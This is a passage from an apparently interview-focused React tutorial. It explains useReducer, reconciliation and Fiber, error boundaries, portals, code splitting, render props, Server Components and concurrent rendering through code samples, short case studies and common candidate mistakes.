: i
),
};
case "APPLY_COUPON":
return { ...state, coupon: action.payload.code, discount: action.payload.discount };
case "CHECKOUT_START":
return { ...state, status: "processing", error: null };
case "CHECKOUT_SUCCESS":
return { ...initialState, status: "success" }; // reset cart
case "CHECKOUT_ERROR":
return { ...state, status: "error", error: action.payload };
default:
throw new Error(`Unknown action: ${action.type}`);
}
}
// Component using useReducer
function ShoppingCart() {
const [state, dispatch] = useReducer(cartReducer, initialState);
const { items, coupon, discount, status, error } = state;
const subtotal = items.reduce((sum, i) => sum + i.price * i.qty, 0);
const total = subtotal - (subtotal * discount / 100);
const handleCheckout = async () => {
dispatch({ type: "CHECKOUT_START" });
try {
await fetch("/api/checkout", {
method: "POST",
body: JSON.stringify({ items, coupon }),
});
dispatch({ type: "CHECKOUT_SUCCESS" });
} catch (err) {
dispatch({ type: "CHECKOUT_ERROR", payload: err.message });
}
};
return (
<div>
{items.map(item => (
<div key={item.id}>
<span>{item.name} × {item.qty}</span>
<button onClick={() => dispatch({
type: "UPDATE_QTY",
payload: { id: item.id, qty: item.qty + 1 }
})}>+</button>
<button onClick={() => dispatch({
type: "REMOVE_ITEM", payload: item.id
})}>Remove</button>
</div>
))}
<p>Total: ₹{total.toLocaleString()}</p>
{error && <p className="error">{error}</p>}
<button onClick={handleCheckout} disabled={status === "processing"}>
{status === "processing" ? "Processing..." : "Checkout"}
</button>
</div>
);
}
// ── Comparison: same logic with useState would need 5 separate setState calls
// and multiple if/else blocks scattered across handlers.
// useReducer centralizes ALL state transitions in one place.
A multi-step form wizard had 8 fields, 4 steps, validation errors, loading state, and step navigation — all managed with 11 separate useState calls. State updates were scattered across 15 handlers, and bugs kept appearing where one field's state was out of sync with another. Refactoring to useReducer centralized all transitions into a single reducer with clear action types (NEXT_STEP, PREV_STEP, SET_FIELD, VALIDATE, SUBMIT). Bugs dropped to zero because every state transition was explicit and testable.
Candidates mutate state directly inside the reducer instead of returning a new object:
function cartReducer(state, action) {
switch (action.type) {
case "ADD_ITEM":
state.items.push(action.payload); // ← MUTATING state!
return state; // Same reference → React won't re-render!
}
}function cartReducer(state, action) {
switch (action.type) {
case "ADD_ITEM":
return {
...state, // spread existing state
items: [...state.items, action.payload], // new array
};
}
}
// New object reference → React detects change → re-rendersHow do you combine useReducer with Context to create a global state management solution?
Reconciliation is React's algorithm for determining which parts of the UI need to change when state updates. Rather than diffing the entire DOM, React diffs its Virtual DOM trees using two key heuristics to achieve O(n) complexity:
- Different element types produce different trees: If a
<div>becomes a<span>, React tears down the entire subtree and rebuilds it — no further comparison. - Keys identify stable elements in lists: Keys let React match old and new list items without relying on position.
Fiber is the reimplementation of React's core algorithm (React 16+). The old "stack reconciler" was synchronous — once it started rendering a large tree, it couldn't be interrupted, causing frame drops.
Fiber introduces incremental rendering: work is broken into small units (fibers) that can be paused, prioritized, or aborted. Each fiber is a JavaScript object representing a component instance, containing its type, props, state, and pointers to parent/child/sibling fibers.
Fiber enables two phases:
- Render phase (interruptible): React walks the fiber tree, calculates changes — can be paused to let the browser handle user input
- Commit phase (synchronous): React applies all DOM changes in one batch — cannot be interrupted
This is the foundation for Concurrent Mode (React 18): useTransition, useDeferredValue, and Suspense all rely on Fiber's ability to interrupt and prioritize work.
// ── Reconciliation heuristics in action ──
// Heuristic 1: Different types → full remount
// Before:
<div className="old"><Counter /></div>
// After:
<section className="new"><Counter /></section>
// React: div ≠ section → destroy <div> and <Counter> state →
// create new <section> and fresh <Counter>
// Same type → update in place
// Before:
<div className="old" style={{ color: "red" }} />
// After:
<div className="new" style={{ color: "blue" }} />
// React: div === div → update className and style only
// Heuristic 2: Keys for list reconciliation
// Before: [A, B, C, D]
// After: [E, A, B, C, D] (E inserted at top)
// WITHOUT keys (by index):
// index 0: A→E (update), index 1: B→A (update), index 2: C→B (update)...
// Result: ALL 5 elements updated ❌
// WITH keys:
// key="a" still exists → move, key="e" is new → insert
// Result: 1 insertion, 0 updates ✅
// ── Fiber tree structure (conceptual) ──
// Each fiber node contains:
const fiber = {
type: "div", // element type
key: null, // reconciliation key
stateNode: domElement, // actual DOM node
child: childFiber, // first child
sibling: siblingFiber, // next sibling
return: parentFiber, // parent
pendingProps: {}, // new props
memoizedProps: {}, // current props
memoizedState: {}, // current state
effectTag: "UPDATE", // what to do in commit phase
lanes: 0b0001, // priority lanes (React 18)
};
// ── Fiber work loop (simplified) ──
function workLoop(deadline) {
let currentFiber = nextUnitOfWork;
while (currentFiber && deadline.timeRemaining() > 1) {
// Process one fiber unit
currentFiber = performUnitOfWork(currentFiber);
}
if (!currentFiber && pendingCommit) {
// All work done → commit to DOM (synchronous, uninterruptible)
commitRoot(pendingCommit);
} else {
// Yield to browser → resume later
requestIdleCallback(workLoop);
}
}
// ── Why Fiber matters for users ──
// Old stack reconciler: render 10,000 items = 200ms frozen UI
// Fiber: render in chunks → browser handles clicks between chunks
// User sees: responsive UI even during heavy renders
A data visualization dashboard rendered 15,000 SVG nodes on filter change. With the old stack reconciler, the UI froze for 400ms during diffing — mouse hover events were delayed, creating a laggy feel. After React 16's Fiber update, the same render was split into 5ms chunks, yielding to the browser between chunks. Users could still click and scroll during updates. Adding useTransition (React 18) made the filter change non-blocking, keeping the previous view visible until the new one was ready.
Candidates think reconciliation always diffs component by component — it actually diffs element type first:
// "React always preserves state if the component is the same"
function App({ isAdmin }) {
if (isAdmin) {
return <div><Counter /></div>; // wrapped in div
}
return <span><Counter /></span>; // wrapped in span
}
// div → span: different type → Counter UNMOUNTS and REMOUNTS
// Counter state is LOST even though Counter itself didn't change!function App({ isAdmin }) {
return (
<div>
<Counter /> {/* Same position, same type → state preserved */}
{isAdmin && <AdminPanel />}
</div>
);
}
// Counter stays at the same position in the tree → state is kept
// Use key to FORCE remount: <Counter key={userId} />How does React 18's priority system (lanes) decide which updates to process first?
Error Boundaries are React components that catch JavaScript errors in their child component tree during rendering, lifecycle methods, and constructors — and display a fallback UI instead of crashing the entire app.
Without error boundaries, a single error in one component crashes the entire React app — users see a blank white screen.
Error boundaries are the only React feature that still requires class components. They use two special methods:
static getDerivedStateFromError(error)— called during render; returns new state to show fallback UIcomponentDidCatch(error, errorInfo)— called during commit; used for logging errors to a service
What error boundaries DON'T catch:
- Event handlers — use try/catch inside the handler
- Asynchronous code (setTimeout, fetch) — use try/catch or .catch()
- Server-side rendering
- Errors thrown in the error boundary itself
Best practice: Place error boundaries at strategic levels — around the whole app (last resort), around major sections (sidebar, main content), and around risky components (third-party widgets, dynamic imports).
// ── Error Boundary (class component — required) ──
import React from "react";
class ErrorBoundary extends React.Component {
constructor(props) {
super(props);
this.state = { hasError: false, error: null, errorInfo: null };
}
static getDerivedStateFromError(error) {
// Update state to show fallback UI on next render
return { hasError: true, error };
}
componentDidCatch(error, errorInfo) {
// Log to error reporting service (Sentry, LogRocket, etc.)
console.error("Error caught by boundary:", error);
console.error("Component stack:", errorInfo.componentStack);
// In production:
// errorService.log({ error, componentStack: errorInfo.componentStack });
}
render() {
if (this.state.hasError) {
// Custom fallback UI
return this.props.fallback || (
<div className="error-fallback">
<h2>Something went wrong</h2>
<p>{this.state.error?.message}</p>
<button onClick={() => this.setState({ hasError: false, error: null })}>
Try Again
</button>
</div>
);
}
return this.props.children;
}
}
// ── Usage: Strategic placement ──
function App() {
return (
<ErrorBoundary fallback={<h1>App crashed. Please refresh.</h1>}>
<header>
<Navbar />
</header>
<main>
{/* Isolate sections — sidebar crash doesn't kill main content */}
<ErrorBoundary fallback={<p>Sidebar unavailable</p>}>
<Sidebar />
</ErrorBoundary>
<ErrorBoundary fallback={<p>Failed to load content</p>}>
<Dashboard />
</ErrorBoundary>
</main>
</ErrorBoundary>
);
}
// ── Reusable wrapper with reset capability ──
function ErrorFallback({ error, resetError }) {
return (
<div role="alert" className="error-card">
<h3>⚠️ Something went wrong</h3>
<pre>{error.message}</pre>
<button onClick={resetError}>Retry</button>
</div>
);
}
// ── Event handler errors: use try/catch (NOT caught by boundary) ──
function DeleteButton({ itemId }) {
const [error, setError] = useState(null);
const handleDelete = async () => {
try {
await fetch(`/api/items/${itemId}`, { method: "DELETE" });
} catch (err) {
setError(err.message); // Handle manually — boundary won't catch this
}
};
return (
<>
<button onClick={handleDelete}>Delete</button>
{error && <p className="error">{error}</p>}
</>
);
}
A financial dashboard had a third-party charting library that occasionally threw errors on certain data patterns. Without an error boundary, one broken chart crashed the entire dashboard — including the trade execution panel. After wrapping each chart widget in an ErrorBoundary, broken charts showed "Chart unavailable — retry" while the rest of the dashboard (including trading) remained fully functional. Incident tickets from chart crashes dropped from 40/month to 0.
Candidates try to create error boundaries as functional components or expect them to catch async errors:
// "I'll just use useEffect to catch errors"
function ErrorBoundary({ children }) {
const [error, setError] = useState(null);
useEffect(() => {
// This does NOT catch render errors in children!
window.addEventListener("error", (e) => setError(e.error));
}, []);
if (error) return <p>Error: {error.message}</p>;
return children;
}
// Render errors happen BEFORE effects run — they crash the app
// before useEffect even gets a chance to executeclass ErrorBoundary extends React.Component {
state = { hasError: false };
static getDerivedStateFromError(error) {
return { hasError: true }; // called during RENDER phase
}
componentDidCatch(error, info) {
logToSentry(error, info); // called during COMMIT phase
}
render() {
if (this.state.hasError) return this.props.fallback;
return this.props.children;
}
}
// Or use react-error-boundary package for a hook-friendly APIHow does the react-error-boundary package provide a hook-based API for error boundaries?
React Portals let you render a component's children into a different DOM node outside the parent component's DOM hierarchy — while keeping them inside the React component tree for events and context.
Syntax: ReactDOM.createPortal(children, domNode)
Normally, a component's JSX is rendered as a child of its nearest parent DOM node. Portals break this rule — the rendered output is injected into a completely different part of the DOM.
Key behavior: Even though the element lives in a different DOM position, it still behaves as a React child for:
- Event bubbling: Events from the portal bubble up through the React tree (not the DOM tree)
- Context: Portals can access Context from their React parents
- State: Unmounting the parent unmounts the portal too
Common use cases:
- Modals/Dialogs: Need to render above everything, free from parent's
overflow: hiddenorz-indexstacking - Tooltips/Popovers: Need to escape container boundaries
- Toast notifications: Render at the top level regardless of which component triggers them
- Dropdown menus: Avoid being clipped by parent containers
// ── Modal using Portal ──
import { createPortal } from "react-dom";
import { useState, useEffect } from "react";
function Modal({ isOpen, onClose, title, children }) {
// Prevent background scrolling when modal is open
useEffect(() => {
if (isOpen) {
document.body.style.overflow = "hidden";
}
return () => { document.body.style.overflow = ""; };
}, [isOpen]);
if (!isOpen) return null;
// Render into #modal-root (a div in index.html outside #root)
return createPortal(
<div className="modal-overlay" onClick={onClose}>
<div className="modal-content"
onClick={e => e.stopPropagation()} // prevent closing on content click
role="dialog"
aria-modal="true"
aria-labelledby="modal-title">
<div className="modal-header">
<h2 id="modal-title">{title}</h2>
<button onClick={onClose} aria-label="Close">✕</button>
</div>
<div className="modal-body">{children}</div>
</div>
</div>,
document.getElementById("modal-root") // ← renders HERE in the DOM
);
}
// ── Usage ──
function ProductPage() {
const [showModal, setShowModal] = useState(false);
return (
<div style={{ overflow: "hidden", height: "300px" }}>
{/* This div clips overflow — but the modal escapes via portal! */}
<h2>Product Details</h2>
<button onClick={() => setShowModal(true)}>Quick View</button>
<Modal isOpen={showModal} onClose={() => setShowModal(false)} title="Product Preview">
<img src="/product.jpg" alt="Product" />
<p>This modal renders outside the overflow:hidden container</p>
<button onClick={() => setShowModal(false)}>Close</button>
</Modal>
</div>
);
}
// index.html:
// <body>
// <div id="root"></div> ← React app renders here
// <div id="modal-root"></div> ← Portals render here
// </body>
// ── Event bubbling through React tree (not DOM tree) ──
// Even though Modal is in #modal-root in the DOM,
// a click inside Modal bubbles up to ProductPage in the REACT tree.
// This means onClick handlers on parent React components still fire!
// ── Toast Notification Portal ──
function ToastContainer({ toasts, onDismiss }) {
return createPortal(
<div className="toast-container" style={{
position: "fixed", top: 16, right: 16, zIndex: 9999
}}>
{toasts.map(t => (
<div key={t.id} className={`toast toast-${t.type}`}>
<span>{t.message}</span>
<button onClick={() => onDismiss(t.id)}>✕</button>
</div>
))}
</div>,
document.body
);
}
A CRM app had a dropdown menu inside a scrollable table cell. The dropdown was clipped by the table's overflow: auto — users couldn't see all menu options. Using a Portal to render the dropdown outside the table's DOM hierarchy fixed the clipping while keeping the dropdown's click events properly connected to the table row's React component.
Candidates forget that portal events bubble through the React tree, not the DOM tree:
function Parent() {
// "This won't fire because the modal is in a different DOM node"
return (
<div onClick={() => console.log("Parent clicked")}>
<Modal> {/* Rendered via portal to #modal-root */}
<button>Click me</button>
</Modal>
</div>
);
}
// WRONG assumption! Clicking the button DOES log "Parent clicked"
// because events bubble through REACT treefunction Parent() {
return (
<div onClick={() => console.log("Parent clicked")}>
<Modal>
<button onClick={e => e.stopPropagation()}>
Click me {/* Now it WON'T bubble to Parent */}
</button>
</Modal>
</div>
);
}
// Use e.stopPropagation() if you DON'T want portal events
// to bubble up through the React treeHow do you handle keyboard accessibility (focus trapping, Escape to close) in a Portal-based modal?
Code splitting breaks your JavaScript bundle into smaller chunks that are loaded on demand — instead of downloading the entire app upfront. This reduces initial load time significantly for large apps.
React provides two built-in tools for code splitting:
React.lazy()— wraps a dynamicimport()to lazily load a component. The component is only fetched when it's first rendered.<Suspense>— shows a fallback UI (loading spinner, skeleton) while the lazy component is being loaded.
Syntax: const LazyComponent = React.lazy(() => import('./Component'))
The dynamic import() tells the bundler (Webpack, Vite) to split this module into a separate chunk file. When the component is needed, React fetches the chunk, loads it, and renders it.
Best splitting points:
- Route-level: Each page/route is a separate chunk — most common and effective
- Component-level: Heavy components (rich text editors, charts, maps) loaded only when needed
- Below-the-fold: Content not visible on initial viewport
Limitations: React.lazy only supports default exports. For named exports, create an intermediate module that re-exports as default.
// ── Route-level code splitting ──
import { Suspense, lazy } from "react";
import { BrowserRouter, Routes, Route } from "react-router-dom";
// Lazy load each route — separate chunk per page
const Home = lazy(() => import("./pages/Home"));
const Dashboard = lazy(() => import("./pages/Dashboard"));
const Settings = lazy(() => import("./pages/Settings"));
const Analytics = lazy(() => import("./pages/Analytics"));
function App() {
return (
<BrowserRouter>
{/* Suspense wraps lazy components — shows fallback while loading */}
<Suspense fallback={<PageSkeleton />}>
<Routes>
<Route path="/" element={<Home />} />
<Route path="/dashboard" element={<Dashboard />} />
<Route path="/settings" element={<Settings />} />
<Route path="/analytics" element={<Analytics />} />
</Routes>
</Suspense>
</BrowserRouter>
);
}
// ── Component-level splitting (heavy components) ──
const RichTextEditor = lazy(() => import("./components/RichTextEditor"));
const ChartWidget = lazy(() => import("./components/ChartWidget"));
function BlogPost({ post }) {
const [editing, setEditing] = useState(false);
return (
<article>
<h1>{post.title}</h1>
<p>{post.content}</p>
{/* Editor only loads when user clicks Edit */}
{editing && (
<Suspense fallback={<p>Loading editor...</p>}>
<RichTextEditor content={post.content} />
</Suspense>
)}
{/* Chart loaded separately — doesn't block page render */}
<Suspense fallback={<div className="chart-skeleton" />}>
<ChartWidget data={post.analytics} />
</Suspense>
</article>
);
}
// ── Named export workaround ──
// If the module uses named exports:
// export function MyChart() { ... } // named, not default
// Create a re-export wrapper:
const MyChart = lazy(() =>
import("./charts").then(module => ({ default: module.MyChart }))
);
// ── Preloading for better UX ──
const Settings = lazy(() => import("./pages/Settings"));
// Preload on hover (before user clicks)
function NavLink({ to, children }) {
const handleMouseEnter = () => {
if (to === "/settings") {
import("./pages/Settings"); // starts loading in background
}
};
return (
<Link to={to} onMouseEnter={handleMouseEnter}>
{children}
</Link>
);
}
// By the time user clicks, the chunk is already loaded → instant navigation
A React SPA had a 2.8MB JavaScript bundle — initial load took 6.2s on 3G. After implementing route-level code splitting with React.lazy, the initial chunk dropped to 380KB (main app shell + home page). Other routes loaded on demand in 200-400ms each. The Lighthouse performance score improved from 34 to 82, and the bounce rate dropped by 28% because users could interact with the page within 1.5s.
Candidates put Suspense inside the lazy component instead of wrapping it from outside:
// This doesn't work — the lazy component IS the thing being loaded
const Dashboard = lazy(() => import("./Dashboard"));
function App() {
return (
<Routes>
<Route path="/dashboard" element={<Dashboard />} />
</Routes>
// Missing Suspense! React throws:
// "A component suspended while responding to synchronous input"
);
}const Dashboard = lazy(() => import("./Dashboard"));
function App() {
return (
<Suspense fallback={<Spinner />}> {/* ← wraps from above */}
<Routes>
<Route path="/dashboard" element={<Dashboard />} />
</Routes>
</Suspense>
);
}
// Suspense catches the "loading" promise thrown by lazy
// and shows fallback until the chunk is loadedHow does Suspense for data fetching work and how is it different from Suspense for lazy loading?
A render prop is a technique where a component accepts a function as a prop (usually called render or children) and calls that function with its internal state, letting the consumer decide what to render.
Pattern: <DataProvider render={(data) => <Display data={data} />} />
Or using the children prop: <DataProvider>{(data) => <Display data={data} />}</DataProvider>
Render props were the primary pattern for sharing stateful logic before hooks. They separated what to do (the provider component) from what to render (the render function).
Render props vs Hooks:
- Hooks are simpler — no extra component wrapper in the tree
- Hooks are more composable — just call multiple hooks, no nesting
- Render props still useful for: components that need to control when children render (e.g., visibility detection, intersection observer), and libraries that support both patterns
Render props vs HOCs: Render props avoid the "wrapper hell" of HOCs because nesting is explicit in JSX, but deeply nested render props create their own indentation hell ("callback pyramid").
// ── Render Prop Pattern: Mouse Position ──
import { useState, useEffect } from "react";
// Provider component — manages state, delegates rendering
function MouseTracker({ children }) {
const [position, setPosition] = useState({ x: 0, y: 0 });
useEffect(() => {
const handleMove = (e) => {
setPosition({ x: e.clientX, y: e.clientY });
};
window.addEventListener("mousemove", handleMove);
return () => window.removeEventListener("mousemove", handleMove);
}, []);
// Call children as a function, passing state
return children(position);
}
// Usage — consumer decides what to render
function App() {
return (
<MouseTracker>
{({ x, y }) => (
<div>
<p>Mouse: {x}, {y}</p>
<div style={{
position: "absolute",
left: x - 10,
top: y - 10,
width: 20,
height: 20,
borderRadius: "50%",
background: "red",
}} />
</div>
)}
</MouseTracker>
);
}
// ── Same logic as Custom Hook (modern approach) ──
function useMousePosition() {
const [position, setPosition] = useState({ x: 0, y: 0 });
useEffect(() => {
const handleMove = (e) => setPosition({ x: e.clientX, y: e.clientY });
window.addEventListener("mousemove", handleMove);
return () => window.removeEventListener("mousemove", handleMove);
}, []);
return position;
}
// Usage — cleaner, no wrapper component
function App() {
const { x, y } = useMousePosition();
return <p>Mouse: {x}, {y}</p>;
}
// ── When render props are STILL useful: Visibility detection ──
function InView({ children, threshold = 0.5 }) {
const [isVisible, setIsVisible] = useState(false);
const ref = useRef(null);
useEffect(() => {
const observer = new IntersectionObserver(
([entry]) => setIsVisible(entry.isIntersecting),
{ threshold }
);
if (ref.current) observer.observe(ref.current);
return () => observer.disconnect();
}, [threshold]);
return (
<div ref={ref}>
{children(isVisible)} {/* Consumer decides what to render based on visibility */}
</div>
);
}
// Usage:
<InView threshold={0.3}>
{(isVisible) => isVisible ? <HeavyChart /> : <Placeholder />}
</InView>
// ── Render Prop Hell (why hooks are preferred) ──
// <MouseTracker>
// {(mouse) => (
// <Theme>
// {(theme) => (
// <Auth>
// {(user) => (
// <Component mouse={mouse} theme={theme} user={user} />
// )}
// </Auth>
// )}
// </Theme>
// )}
// </MouseTracker>
// vs hooks: 3 lines, zero nesting
A component library used render props for all its headless components (Dropdown, Combobox, Modal). When React hooks became standard, they added hook alternatives (useDropdown, useCombobox). Adoption of hook-based APIs was 5x higher because developers preferred the flat, readable hook calls over nested render prop callbacks. The library maintained both APIs for backward compatibility but recommended hooks in docs.
Candidates create render props inside JSX, causing the function to be recreated every render:
// If MouseTracker uses React.memo internally, this defeats it:
<MouseTracker
render={(pos) => <Cursor x={pos.x} y={pos.y} />}
/>
// New function created every render → React.memo sees "props changed"
// → MouseTracker re-renders every time parent renders// Option 1: children pattern (most common)
<MouseTracker>
{(pos) => <Cursor x={pos.x} y={pos.y} />}
</MouseTracker>
// Option 2: stable function reference with useCallback
const renderCursor = useCallback(
(pos) => <Cursor x={pos.x} y={pos.y} />,
[]
);
<MouseTracker render={renderCursor} />
// Or just use a custom hook — no render prop needed!How do headless UI libraries like Headless UI or Radix use render props and hooks together?
React Server Components (RSC) are components that run exclusively on the server — their code never reaches the browser. They can directly access databases, file systems, and APIs without building an API endpoint, and their JavaScript is zero-cost to the client bundle.
SSR (Server-Side Rendering) renders components to HTML on the server for faster initial paint, but the full component JavaScript is still sent to the browser for hydration (making the HTML interactive). SSR reduces Time-to-First-Byte but doesn't reduce bundle size.
Key differences:
- RSC: Run on server only, zero client JS, can use
async/awaitdirectly, cannot use state/effects/browser APIs. Marked by default in Next.js App Router. - SSR: Render on server for initial HTML, then hydrate on client — full component JS shipped to browser.
- Client Components: Marked with
"use client"directive, run on both server (SSR) and client, can use hooks, events, browser APIs.
RSC and SSR are complementary: a Server Component can render Client Components within it. The Server Component does its work on the server, and only the Client Component code is sent to the browser.
// ── Server Component (default in Next.js App Router) ──
// app/products/page.tsx — NO "use client" = Server Component
// Can directly query database — no API route needed!
import { db } from "@/lib/database";
async function ProductsPage() {
// This runs on the server — SQL never reaches the browser
const products = await db.query(`
SELECT id, name, price, image_url
FROM products
WHERE active = true
ORDER BY created_at DESC
LIMIT 50
`);
return (
<div className="product-grid">
<h1>Products ({products.length})</h1>
{products.map(product => (
// Server Component renders static parts
<div key={product.id} className="product-card">
<img src={product.image_url} alt={product.name} />
<h3>{product.name}</h3>
<p>₹{product.price.toLocaleString()}</p>
{/* Client Component handles interactivity */}
<AddToCartButton productId={product.id} />
</div>
))}
</div>
);
}
export default ProductsPage;
// Zero JS sent to browser for this component! Only HTML.
// Only AddToCartButton's JS is shipped.
// ── Client Component (needs interactivity) ──
// components/AddToCartButton.tsx
"use client"; // ← This directive makes it a Client Component
import { useState } from "react";
export function AddToCartButton({ productId }) {
const [added, setAdded] = useState(false);
const handleAdd = async () => {
await fetch("/api/cart", {
method: "POST",
body: JSON.stringify({ productId }),
});
setAdded(true);
};
return (
<button onClick={handleAdd} disabled={added}>
{added ? "✓ Added" : "Add to Cart"}
</button>
);
}
// This component's JS IS sent to the browser (for onClick, useState)
// ── Comparison: SSR vs RSC ──
// SSR Flow:
// 1. Server renders HTML (fast initial paint)
// 2. Browser downloads ALL component JS (big bundle)
// 3. React hydrates HTML (makes it interactive)
// 4. User can now interact
// → Bundle: ProductsPage JS + AddToCartButton JS
// RSC Flow:
// 1. Server runs ProductsPage, sends only HTML + serialized output
// 2. Browser downloads ONLY Client Component JS
// 3. React hydrates only Client Components
// → Bundle: AddToCartButton JS only (ProductsPage = 0 KB!)
// ── Data flow: Server → Client ──
// ✅ Server Component can render Client Component
// ✅ Server Component can pass serializable props to Client Component
// ❌ Client Component CANNOT import Server Component
// ❌ Server Component CANNOT use useState, useEffect, onClick
An e-commerce site migrated from a fully client-rendered Next.js Pages Router to the App Router with Server Components. The product listing page previously shipped 180KB of JS (data fetching, formatting, grid layout). After making it a Server Component, the page shipped only 12KB (just the interactive cart button and search bar). Largest Contentful Paint improved from 3.2s to 1.1s on mobile, and the waterfall of API calls was eliminated because the server queried the database directly.
Candidates confuse RSC with SSR or try to use hooks in Server Components:
// app/dashboard/page.tsx (Server Component by default)
import { useState, useEffect } from "react";
export default function Dashboard() {
const [data, setData] = useState(null); // ❌ ERROR!
useEffect(() => { // ❌ ERROR!
fetch("/api/data").then(r => r.json()).then(setData);
}, []);
return <div>{data}</div>;
}
// Server Components cannot use state, effects, or event handlers
// Error: "useState only works in Client Components"// app/dashboard/page.tsx (Server Component)
import { db } from "@/lib/db";
import { DashboardChart } from "./DashboardChart"; // Client Component
export default async function Dashboard() {
const data = await db.query("SELECT * FROM metrics"); // direct DB
return (
<div>
<h1>Dashboard</h1>
<DashboardChart data={data} /> {/* interactive chart */}
</div>
);
}
// DashboardChart.tsx
"use client";
export function DashboardChart({ data }) {
const [filter, setFilter] = useState("all");
// ... interactive chart with state
}How does the Next.js App Router implement RSC, and what is the difference between the App Router and Pages Router?
Concurrent rendering in React 18 allows React to prepare multiple versions of the UI at the same time. It can interrupt a long render to handle urgent updates (like typing), then resume the lower-priority work later.
Two key hooks enable this:
useTransition — marks a state update as non-urgent (a "transition"). React keeps showing the old UI while rendering the new one in the background. Returns [isPending, startTransition].
useDeferredValue — returns a deferred version of a value that lags behind the current value during heavy renders. React renders the old value first (fast), then re-renders with the new value in the background.
When to use each:
useTransition: When YOU control the state update — wrap the setter instartTransitionuseDeferredValue: When you receive a value as a prop and can't control when it updates
Both prevent "input jank" — the problem where typing in a search box feels laggy because each keystroke triggers an expensive re-render of the results list.
Automatic batching (React 18): All state updates — even in promises, timeouts, and event handlers — are now batched into a single re-render by default.
// ── useTransition: non-blocking search ──
import { useState, useTransition, useDeferredValue } from "react";
function SearchableList({ items }) {
const [query, setQuery] = useState("");
const [isPending, startTransition] = useTransition();
// Urgent: update search input immediately (user sees typed characters)
// Non-urgent: filter the list (can lag behind without feeling broken)
const [filteredItems, setFilteredItems] = useState(items);
const handleSearch = (e) => {
const value = e.target.value;
setQuery(value); // ← urgent: updates input instantly
startTransition(() => {
// ← non-urgent: React renders this in background
const filtered = items.filter(item =>
item.name.toLowerCase().includes(value.toLowerCase())
);
setFilteredItems(filtered);
});
};
return (
<div>
<input value={query} onChange={handleSearch} placeholder="Search..." />
{isPending && <p className="loading">Updating results...</p>}
<ul>
{filteredItems.map(item => (
<li key={item.id}>{item.name}</li>
))}
</ul>
</div>
);
}
// ── useDeferredValue: defer expensive child renders ──
function SearchResults({ query }) {
// deferredQuery lags behind the actual query during heavy renders
const deferredQuery = useDeferredValue(query);
const isStale = query !== deferredQuery;
// ExpensiveList renders with the DEFERRED (old) value first,
// then re-renders with the current value when ready
return (
<div style={{ opacity: isStale ? 0.6 : 1, transition: "opacity 0.2s" }}>
<ExpensiveList query={deferredQuery} />
</div>
);
}
// ── Practical example: Tab switching ──
function TabPanel() {
const [tab, setTab] = useState("posts");
const [isPending, startTransition] = useTransition();
const switchTab = (newTab) => {
startTransition(() => {
setTab(newTab); // Non-urgent — old tab stays visible until new one is ready
});
};
return (
<div>
<nav>
<button onClick={() => switchTab("posts")}
style={{ opacity: isPending && tab !== "posts" ? 0.7 : 1 }}>
Posts
</button>
<button onClick={() => switchTab("comments")}
style={{ opacity: isPending && tab !== "comments" ? 0.7 : 1 }}>
Comments
</button>
<button onClick={() => switchTab("analytics")}
style={{ opacity: isPending && tab !== "analytics" ? 0.7 : 1 }}>
Analytics {/* Heavy component — takes 200ms to render */}
</button>
</nav>
{isPending && <p>Loading tab...</p>}
{tab === "posts" && <PostsTab />}
{tab === "comments" && <CommentsTab />}
{tab === "analytics" && <AnalyticsTab />}
</div>
);
}
// ── Automatic Batching (React 18) ──
// Before React 18: updates in setTimeout were NOT batched
// After React 18: ALL updates are batched automatically
setTimeout(() => {
setCount(c => c + 1); // React 17: re-render #1
setFlag(f => !f); // React 17: re-render #2
// React 18: ONE batched re-render for both
}, 1000);
A product catalog with 10,000 items had a search filter. Every keystroke re-rendered all 10,000 product cards — taking 300ms per render. Users experienced severe input lag: typed "laptop" but saw "l...a...p...t...o...p" appearing character by character. After wrapping the filter in startTransition, the input updated instantly on every keystroke while the product list updated in the background. The UI felt instant even though the total render time didn't change — React just prioritized the input.
Candidates wrap everything in startTransition or use it for urgent updates:
function SearchInput() {
const [query, setQuery] = useState("");
const [isPending, startTransition] = useTransition();
const handleChange = (e) => {
startTransition(() => {
setQuery(e.target.value); // ← WRONG! Input update is urgent
});
};
return <input value={query} onChange={handleChange} />;
// The input value update is marked as non-urgent →
// typing feels laggy because React deprioritizes it!
}function SearchInput() {
const [query, setQuery] = useState("");
const [results, setResults] = useState([]);
const [isPending, startTransition] = useTransition();
const handleChange = (e) => {
setQuery(e.target.value); // urgent: input updates instantly
startTransition(() => {
setResults(filterItems(e.target.value)); // non-urgent: list updates in background
});
};
return (
<div>
<input value={query} onChange={handleChange} />
{isPending ? <Spinner /> : <ResultList results={results} />}
</div>
);
}How does Suspense for data fetching integrate with concurrent features?
forwardRef is a React API that lets a parent component pass a ref to a child component's inner DOM element. By default, refs do NOT pass through functional components — forwardRef "forwards" the ref from parent to child.
Syntax: const Child = forwardRef((props, ref) => <input ref={ref} />)
useImperativeHandle customizes what the parent sees when it accesses the ref. Instead of exposing the raw DOM node, you expose a limited, custom API — only the methods the parent actually needs.
Syntax: useImperativeHandle(ref, () => ({ focus, scrollTo, reset }))
When to use:
forwardRef: Building reusable components (input libraries, design systems) where the parent needs DOM access (focus, scroll, measure)useImperativeHandle: When you want to expose a controlled API instead of the entire DOM node — for example, exposing onlyfocus()andclear()on a custom input, not the full HTMLInputElement
Note: In React 19, ref is available as a regular prop — forwardRef is no longer necessary for new code. But understanding it is important for existing codebases.
// ── forwardRef: Pass ref to inner DOM element ──
import { forwardRef, useRef, useImperativeHandle } from "react";
// Without forwardRef, parent can't access the inner <input>
const TextInput = forwardRef(function TextInput({ label, ...props }, ref) {
return (
<div className="form-field">
<label>{label}</label>
<input ref={ref} {...props} /> {/* ref forwarded to the <input> */}
</div>
);
});
// Parent can now focus the input
function LoginForm() {
const emailRef = useRef(null);
useEffect(() => {
emailRef.current.focus(); // focuses the <input> inside TextInput
}, []);
return (
<form>
<TextInput ref={emailRef} label="Email" type="email" />
<TextInput label="Password" type="password" />
<button type="submit">Login</button>
</form>
);
}
// ── useImperativeHandle: Expose custom API ──
const VideoPlayer = forwardRef(function VideoPlayer({ src, poster }, ref) {
const videoRef = useRef(null);
const [isPlaying, setIsPlaying] = useState(false);
// Expose only specific methods — not the entire <video> DOM node
useImperativeHandle(ref, () => ({
play() {
videoRef.current.play();
setIsPlaying(true);
},
pause() {
videoRef.current.pause();
setIsPlaying(false);
},
seekTo(seconds) {
videoRef.current.currentTime = seconds;
},
getDuration() {
return videoRef.current.duration;
},
// Parent CANNOT access videoRef.current.volume,
// videoRef.current.playbackRate, etc.
}), []);
return (
<div className="video-wrapper">
<video ref={videoRef} src={src} poster={poster} />
<div className="controls">
